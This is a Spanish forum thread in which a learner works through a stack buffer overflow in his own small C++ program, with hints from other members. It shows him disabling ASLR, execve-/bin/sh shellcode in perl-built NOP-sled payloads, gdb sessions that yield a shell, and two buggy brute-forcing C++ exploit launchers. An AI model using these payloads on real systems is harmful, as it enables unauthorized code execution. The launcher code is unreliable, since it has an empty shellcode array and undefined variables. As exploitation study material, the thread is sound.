Autor
|
Tema: [?] Buffer Overflow, EIP, exploit. (Leído 6,219 veces)
|
protos
Desconectado
Mensajes: 26
|
Mmmm vale. Si este método no vale como lo consigo entonces? Supongo que con el get_esp(), pero eso sería en el exploit, y no se que desplazamiento sumar o restar. Tal vez le pueda sumar o restar desplazamiento tambien a la direccion que me de el gdb, pero estamos en las mismas, ni idea de que hacerle :S
salu2!
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Si lo quieres hacer con perl prueba mejor las variables de entorno  Saludos
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Variables de entorno? Creo que no he leído nada como hacerlo así, estoy perdido ahora  . Igualmente me gustaría poder hacerlo calculando el desplazamiento para que me sirva para siempre. salu2! PD: Perl no! xD, cuando lo consiga intentaré hacer un exploit en C++ y otro en ruby haber 
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Bueno, aqui vengo despues de hacer varias pruebas, voy poniendo pruebas y errores. (De nuevo doble post, ahora si que es posible que sea mejor hacer nuevo topic, no se). Bueno, lo primero que he hecho es quitar la protección esta asquerosa: root@diego-desktop:/home/diego# echo 0 > /proc/sys/kernel/randomize_va_space Y he comprovado que tras esto las direcciones ya son estaticas. Ahora trato de explotar el código del que va este topic. (recordemos, buffer de 32 bytes, por tanto 38 para sobreescribir eip) Primer Método Con variables de entorno:protos@diego-desktop:~$ export COLORTERM="\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" protos@diego-desktop:~$ echo $COLORTERM \x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80 protos@diego-desktop:~$ ./getenv COLORTERM COLORTERM is located at 0xbfffff68 protos@diego-desktop:~$ ./getenv COLORTERM COLORTERM is located at 0xbfffff68 Pongo en colorterm la scode, me aseguro que colorterm tiene la scode, y cojo la direccion de colorterm que servirá como ret. A la hora de la verdad: protos@diego-desktop:~$ ./vuln `perl -e'{print "\x90"x34 ."\x68\xff\xff\xbf"}'` Cadena :����������������������������������h��� Fallo de segmentación Nada de nada, 34 bytes de nops, 4 bytes apuntando a colorterm, y nada. Vamos a ver que pasa con gdb: (gdb) r `perl -e'{print "\x90"x34 ."\x68\xff\xff\xbf"}'` Starting program: /home/diego/vuln `perl -e'{print "\x90"x34 ."\x68\xff\xff\xbf"}'` Cadena :����������������������������������h���
Program received signal SIGSEGV, Segmentation fault. 0xbfffff72 in ?? () El EIP que me da está desplazado, no es exactamente el de colorterm, concretamente parece ser colorterm+4... Por tanto, pruebo a desplazar 4 hacia atrás mi ret addres: Starting program: /home/diego/vuln `perl -e'{print "\x90"x34 ."\x64\xff\xff\xbf"}'` Cadena :����������������������������������d���
Program received signal SIGSEGV, Segmentation fault. 0xbfffff72 in ?? () Peero no funciona... Segundo Método Scode en otro argumentoPruebo en este caso a sobreescribir el buffer con el primer argumento, meter la scode en el segudo, y de ret adress poner la direccion que apunte al segundo argumento: protos@diego-desktop:~$ ./argdir AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BBBB argv[0] : ./argdir : 0xbffff554 argv[1] : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA : 0xbffff558 argv[2] : BBBB : 0xbffff55c protos@diego-desktop:~$ ./argdir AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BBBB argv[0] : ./argdir : 0xbffff554 argv[1] : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA : 0xbffff558 argv[2] : BBBB : 0xbffff55c Primero saco la direccion del segundo argumento teniendo en cuenta que el primero ha de tener 38 bytes. (34 NOPs mas la ret) Probamos. Primer argumento 34 NOPs + 4 bytes que apuntan al segundo argumento. Segundo: scode: protos@diego-desktop:~$ ./vuln `perl -e'{print "\x90"x34 ."\x5c\xf5\xff\xbf"}'` "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" Cadena :����������������������������������\��� Instrucción ilegal Y nada de nada. Volvamos al gdb a ver con más detalle que pasa: (gdb) r `perl -e'{print "\x90"x34 ."\x5c\xf5\xff\xbf"}'` "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" Starting program: /home/diego/vuln `perl -e'{print "\x90"x34 ."\x5c\xf5\xff\xbf"}'` "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" Cadena :����������������������������������\���
Program received signal SIGILL, Illegal instruction. 0xbffff55d in ?? () Me ha vuelto a cambiar el EIP, en este caso en 1... He vuelto a probar a desplazar el ret adress 1 y tampoco ha funcionado no pongo resultados que si no se hace eterno el post. Tercer Método Sacar ret address desde gdb(gdb) r `perl -e'{print"\x90"x11 ."\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"."AAAA"}'` ... ... (gdb) x /5000b $esp
0xbffff698: 0x6c 0x6e 0x00 0x90 0x90 0x90 0x90 0x90 0xbffff6a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x31 0xc0 Ejecuto con gdb y voy a buscar a la memoria la ultima posicion con Nops justo antes de la scode. Cambio las AAAA por la ret adress obtenida y... (gdb) r `perl -e'{print"\x90"x11 ."\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"."\xa0\xf6\xff\xbf"}'` Starting program: /home/diego/vuln `perl -e'{print"\x90"x11 ."\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"."\xa0\xf6\xff\xbf"}'` Cadena :�����������1�P����h//shh/bin� ����� Executing new program: /bin/dash (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) $ Voilaaa aquí tengo el tan esperado prompt xDD. Salgamos del gdb a probarlo: protos@diego-desktop:~$ ./vuln `perl -e'{print"\x90"x11 ."\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"."\xa0\xf6\xff\xbf"}'` Cadena :�����������1�P����h//shh/bin� ����� Fallo de segmentación protos@diego-desktop:~$ Y bueeno, fuera del gdb no me da la shell. No lo comprendo... salu2!
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Probamos. Primer argumento 34 NOPs + 4 bytes que apuntan al segundo argumento. Segundo: scode:
protos@diego-desktop:~$ ./vuln `perl -e'{print "\x90"x34 ."\x5c\xf5\xff\xbf"}'` "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" Cadena :����������������������������������\��� Instrucción ilegal
Instrucción ilegal
Vas por buen camino, ahora cuando estes en el gdb trata de ver que hay en las registros con i rSaludos
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
(gdb) r `perl -e'{print "\x90"x34 ."\xbc\xf5\xff\xbf"}'` "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" Starting program: /home/diego/vuln `perl -e'{print "\x90"x34 ."\xbc\xf5\xff\xbf"}'` "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" Cadena :��������������������������������������
Program received signal SIGILL, Illegal instruction. 0xbffff5be in ?? () (gdb) i r eax 0x804fe00 134544896 ecx 0x0 0 edx 0xb7ea60f0 -1209376528 ebx 0xb7ea4ff4 -1209380876 esp 0xbffff480 0xbffff480 ebp 0x90909090 0x90909090 esi 0xb7ffece0 -1207964448 edi 0x0 0 eip 0xbffff5be 0xbffff5be eflags 0x10202 [ IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 EBP con los nops, y EIP con la ret_adrr+2, no es la misma no se porque....:S Si pruebo a en mi ret adress restarle 2: (gdb) r `perl -e'{print "\x90"x34 ."\xba\xf5\xff\xbf"}'` "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/diego/vuln `perl -e'{print "\x90"x34 ."\xba\xf5\xff\xbf"}'` "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" Cadena :��������������������������������������
Program received signal SIGILL, Illegal instruction. 0xbffff5ba in ?? () Pero ves, ahora no tiene ningun desplazamiento. Mmmm cuando pruebo con las env me pasa lo mismo, al comprovar con el gdb veo que el eip se ha desplazado levemente. Y lo que es curioso y no entiendo porque demonios con el tercer método me funciona dentro del gdb y no fuera...:S salu2!
|
|
|
|
|
En línea
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
El bug es en main o en una funcion ??
Dependiendo de cual sea, que tal si pones el disas de la funcion en cuestion, sea main o alguna otra.
Saludos
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
No, es en una función. Aún no me atrevo a probar con main xDD. #include <iostream>
using namespace std;
void funcionv(char *str);
int main(int argc, char **argv) { if(!argv[1]) { cout << "Faltan argumentos"<<endl; return 0; } funcionv(argv[1]); return 0; }
void funcionv(char *str) { char buffer[30]; strcpy(buffer, str); cout << "Cadena :"<<buffer<<endl; } (gdb) disas funcionv Dump of assembler code for function _Z8funcionvPc: 0x08048880 <_Z8funcionvPc+0>: push %ebp 0x08048881 <_Z8funcionvPc+1>: mov %esp,%ebp 0x08048883 <_Z8funcionvPc+3>: sub $0x28,%esp 0x08048886 <_Z8funcionvPc+6>: mov 0x8(%ebp),%eax 0x08048889 <_Z8funcionvPc+9>: mov %eax,0x4(%esp) 0x0804888d <_Z8funcionvPc+13>: lea -0x1e(%ebp),%eax 0x08048890 <_Z8funcionvPc+16>: mov %eax,(%esp) 0x08048893 <_Z8funcionvPc+19>: call 0x8048640 <strcpy@plt> 0x08048898 <_Z8funcionvPc+24>: movl $0x8048a30,0x4(%esp) 0x080488a0 <_Z8funcionvPc+32>: movl $0x8049d00,(%esp) 0x080488a7 <_Z8funcionvPc+39>: call 0x8048620 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x080488ac <_Z8funcionvPc+44>: mov %eax,%edx 0x080488ae <_Z8funcionvPc+46>: lea -0x1e(%ebp),%eax 0x080488b1 <_Z8funcionvPc+49>: mov %eax,0x4(%esp) 0x080488b5 <_Z8funcionvPc+53>: mov %edx,(%esp) 0x080488b8 <_Z8funcionvPc+56>: call 0x8048620 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x080488bd <_Z8funcionvPc+61>: movl $0x8048660,0x4(%esp) 0x080488c5 <_Z8funcionvPc+69>: mov %eax,(%esp) 0x080488c8 <_Z8funcionvPc+72>: call 0x8048650 <_ZNSolsEPFRSoS_E@plt> 0x080488cd <_Z8funcionvPc+77>: leave (Me gustaría llevarme mejor con asm, pero soy incapaz de seguir todo esto..:S) Ah por cierto, dejo por aqui esto: Un intento de exploit, lo más genérico posible, lo dejo totalmente comentado por si acaso Es un prototipo, debe fallar por mil lados, pero lo dejo para recibir algún comentario: #include <iostream>
#define OFFSET 0 // Definimos el offset por defecto 0 #define BUFFERL 512 // Y un buffer cualquiera, de 512...
using namespace std;
char scode[] = ;
unsigned long get_esp() { //Funcion para sacar esp __asm__("movl %esp, %eax"); }
int main(int argc, char **argv) { char *vuln[3] = {"/usr/home/diego", NULL, NULL}; //Para el execv char *buffer, *punt; //buffer para el espacio del buffer, y punt puntero que nos hará falta para ir rellenando el buffer long *addret, retaddr; //El primero es un puntero que nos servirá para rellenar el buffer con la direccion de retorno, el segundo la direccion de retorno bool x = true; //Un booleano para saber si tenemos offset o no int cont, i; //Para bucles for int offset = OFFSET, bufferlength = BUFFERL; //Seteamos valores por defecto if (argc == 2) { // Si tenemos dos argumentos bufferlength = atoi(argv[1]); //El primero es la longitud del buffer offset = atoi(argv[2]); //El segundo el desplazamiento x = false; //Desactivamos x, no hará falta brutear porque nos han dado el despl } if (argc == 1) { //Si nos dan un solo argumento bufferlength = atoi(argv[1]); //Es la longitud del buffer x = true; //Como no nos dan offset pues lo tendremos que brutear } buffer = malloc(bufferlength); //Guardamos memoria suficiente para el buffer. if(x) { // Si está activado x, es decir, no tenemos offset for(cont = -500; cont < 500; cont++) { //Vamos a brutear de -500 a 500 bytes retadd= get_esp() + cont; cout << "Probando con ret_addres: "<<retadd<<endl; //Mostramos el offset que estamos probando ptr = buffer; // Nuestro puntero apunta al principio del buffer addret = (long *) punt; // El puntero addret nos servirá para rellenar el buffer con la ret addres for (i=0;i<bufferlength;i+=4) { //Bucle para llenar todo el buffer *(addret++) = retadd; //Vamos subiendo el buffer llenandolo de 4 en 4 con la ret } //Tenemos el buffer lleno con la ret address //Ahora vamos a ponerle los NOPs for(i = 0; i < (bufferlength-strlen(scode)-5);i++) { buffer[i] = 0x90; } //Ahora tenemos todo relleno con NOPs, excepto un hueco al final para la scode y 5 bytes, que está rellenado con ret address 4 bytes para el ret y uno para el \0 //Nos falta meterle la scode. punt = buffer + (bufferlength-strlen(scode)-5); //Nuestro puntero apunta justo donde dejan de haber nops, en el hueco para nuestra scode for(i=0;i<strlen(scode);i++) { *(ptr++) = scode[i]; //vamos llenando el buffer con la scode caracter a caracter. } buffer[bufferlength-1] = '\0'; //El último byte es de final. Ya tenemos el buffer montado } } //Aqui termina el if, si no teniamos offset, ahora nos falta escribir el código si teniamos offset. //realmente es lo mismo que antes pero sin ir probando offsets retadd= get_esp() - offset; cout << "Probando con ret_addres: "<<retadd<<endl; ptr = buffer; addret = (long *) punt; for (i=0;i<bufferlength;i+=4) { *(addret++) = retadd; } for(i = 0; i < (bufferlength-strlen(scode)-5);i++) { buffer[i] = 0x90; } punt = buffer + (bufferlength-strlen(scode)-5); for(i=0;i<strlen(scode);i++) { *(ptr++) = scode[i]; } buffer[bufferlength-1] = '\0'; //Ya tenemos el buffer montado vuln[1] = buffer;//Preparamos el array vuln para el execv execv(vuln[0], vuln); //Lanzamos el execv return 0; } salu2!
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
No se si lo he entendido muy bien pero .. para que llenas el buffer con la ret address? La ret address es la que se supone debe apuntar al buffer no? Esta interesante el diálogo xD.
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Bueno, la ret adress debe apuntar a la scode. Lo que hago es llenar el buffer con ret adress. Pero luego sobreescribo por encima NOPS y la propia scode. De manera que quedaria asi (esquematicamente):
1) [ ret_adress ret_adress ret_adress ret_adress ret_adress ret_adress ret_adress]
2) [ Nop Nop Nop Nop Nop Nop Nop ret_adress ret_adress ret_adress ret_adress]
3)
[ Nop Nop Nop Nop Nop Nop Nop Nop ..................Shelcode........... ret_adress]
ret_adress debe apuntar a la scode, o a algun nop de antes (como el nop no se ejecuta, pasaria a ejecutarse la scode).
El próximo exploit llenaré el buffer con memset() y memcpy(), más rápido y se ve más claro.
salu2!
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Vale, ya lo entiendo Gracias xD
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
De nada, está bien poder contestar algo de vez en cuando y no solo preguntar xD. Y aquí dejo la v2, en la cual había dicho que trataría de hacerlo con memset y memcpy. Haber que le parece a Anon uno y el otro: /* Se le pueden dar dos parametros. * Primero tamaño del buffer * Segundo Offset. * Si no se le dan tamaños coje buffer predefinido (1032) * Y calcula el offset por bruteforce */
#include <iostream>
#define LENGTH 1032 //Espacio del buffer por definicion 1032
using namespace std;
unsigned long getesp() { __asm__("movl %esp, %eax"); }
char shellcode[] = ;
int main(int argc, char **argv) { int c; //Entero contador int offset; //Entero para el desplazamiento int length; // Entero para la longitud del buffer char *exe[3] = {"rutavulnerable", NULL, NULL}; //Array para el execv long ret; //Para la ret adress if (argc > 2) length = atoi(argv[1]); // Si tenemos argumento es la longitud del buffer else length = LENGTH; // Si no el predefinido char *buffer = new char[length]; // Variable dinámica, buffer if(argc > 3) { ret = getesp() - atoi(argv[1]); cout << "Probando ret_address: "<<ret<<endl; memset(buffer, 0x90, length-1); //Lleno el buffer de nops memcpy(buffer+(length-strlen(shellcode)-5), shellcode, strlen(shellcode)); //Meto la scode memcpy(buffer+(length-5), ret, 4); // Meto ret address buffer[length-1] = '\0'; // Final del evil buffer exe[1] = buffer; //Preparamos exe para los argumentos de execv execv(exe[0], exe, NULL); // Lanzamos el exploit } else { for(c=-500;c<500;c++) { ret = getesp() + c; cout << "Probando ret_address: "<<ret<<endl; memset(buffer, 0x90, length-1); //Lleno el buffer de nops memcpy(buffer+(length-strlen(shellcode)-5), shellcode, strlen(shellcode)); //Meto la scode memcpy(buffer+(length-5), ret, 4); // Meto ret address buffer[length-1] = '\0'; // Final del evil buffer exe[1] = buffer; //Preparamos exe para los argumentos de execv execv(exe[0], exe, NULL); // Lanzamos el exploit } } return 0; } salu2!
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Aunque tarde mas , es mejor no elegir pasar el argumento del offset porque si no lo pones lo acabarás acertando por ser brute force no?
|
|
|
|
|
En línea
|
|
|
|
protos
Desconectado
Mensajes: 26
|
Pero si sabes el offset mejor lo pasas y entonces si que tarda menos. O alomejor prefieres ir probando desplazamientos a mano (que creo que no recomiendo xD). Más que nada traté de ser genérico e implementar ambas opciones.
salu2!
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Pero el offset puede cambiar de ejecucion en ejecucion o me equivoco?
|
|
|
|
|
En línea
|
|
|
|
|
|